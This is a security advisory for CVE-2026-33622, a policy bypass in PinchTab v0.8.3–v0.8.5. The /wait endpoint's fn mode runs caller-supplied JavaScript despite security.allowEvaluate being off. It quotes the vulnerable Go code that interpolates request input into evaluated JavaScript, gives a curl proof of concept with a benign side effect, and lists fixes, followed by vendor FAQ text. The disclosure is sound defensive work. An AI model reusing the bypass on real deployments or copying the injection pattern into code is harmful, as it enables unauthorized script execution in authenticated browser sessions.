CVE-2026-33622

PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.

POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.

This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.

The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.

Details

Issue 1, /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5):
The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:

// internal/handlers/evaluate.go, v0.8.5
func (h *Handlers) evaluateEnabled() bool {
    return h != nil && h.Config != nil && h.Config.AllowEvaluate
}

func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
    if !h.evaluateEnabled() {
        httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
            "setting": "security.allowEvaluate",
        })
        return
    }
    // ...
}

In the same releases, /wait did not apply that guard before evaluating fn:

// internal/handlers/wait.go, v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
    mode := req.mode()
    if mode == "" {
        httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
        return
    }

    // No evaluateEnabled() check here in affected releases
    // ...
}

Issue 2, fn mode evaluated caller-supplied JavaScript directly:
The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:

// internal/handlers/wait.go, v0.8.5 (vulnerable)
case "fn":
    js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
    matchLabel = "fn"

// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))

Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.

Issue 3, Current worktree contains an unreleased fix:
The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.

PoC

Prerequisites

• PinchTab v0.8.3, v0.8.4, or v0.8.5
• A configured API token
• security.allowEvaluate = false
• A reachable tab context, created by the caller or already present

Step 1, Confirm /evaluate is blocked by policy

curl -s -X POST http://localhost:9867/evaluate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"expression":"1+1"}'

Expected:

{
  "code": "evaluate_disabled"
}

Step 2, Open a tab

curl -s -X POST http://localhost:9867/navigate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://example.com"}'

Example result:

{
  "tabId": "<TAB_ID>",
  "title": "Example Domain",
  "url": "https://example.com/"
}

Step 3, Execute JavaScript through /wait using fn mode

curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"(function(){window._poc_executed=true;return true})()",
    "timeout":5000
  }'

Example result:

{
  "waited": true,
  "elapsed": 1,
  "match": "fn"
}

Step 4, Verify the side effect

curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"window._poc_executed === true",
    "timeout":3000
  }'

Example result:

{
  "waited": true,
  "elapsed": 0,
  "match": "fn"
}

Observation

1. /evaluate returns evaluate_disabled when security.allowEvaluate is off.
2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases.
3. The first /wait request introduces a side effect in page state.
4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.

Suggested Remediation

1. Make fn mode in /wait enforce the same policy check as /evaluate.
2. Keep non-code wait modes available when JavaScript evaluation is disabled.
3. Add regression coverage so the policy boundary remains consistent across endpoints.

1. Bypass of the explicit security.allowEvaluate control in v0.8.3 through v0.8.5.
2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
4. Inconsistent security boundaries between /evaluate and /wait, making the configured execution policy unreliable.
5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

Kodem intelligence

1. What is CVE-2026-33622? CVE-2026-33622 is a medium-severity code injection vulnerability in github.com/pinchtab/pinchtab/cmd/pinchtab (go), affecting versions >= 0.8.3, <= 0.8.5. No fixed version is listed yet. Untrusted input is evaluated as executable code within the application's runtime environment.
2. Which packages are affected by CVE-2026-33622?
   • github.com/pinchtab/pinchtab/cmd/pinchtab (go) (versions >= 0.8.3, <= 0.8.5)
   • github.com/pinchtab/pinchtab (go) (versions >= 0.8.3)
3. Is there a fix for CVE-2026-33622? No fixed version is listed for CVE-2026-33622 yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is CVE-2026-33622 exploitable, and should I be worried? Whether CVE-2026-33622 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-33622 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-33622? No fixed version is listed yet. In the interim: Never evaluate untrusted input as code. Use sandboxed evaluation environments if dynamic execution is required.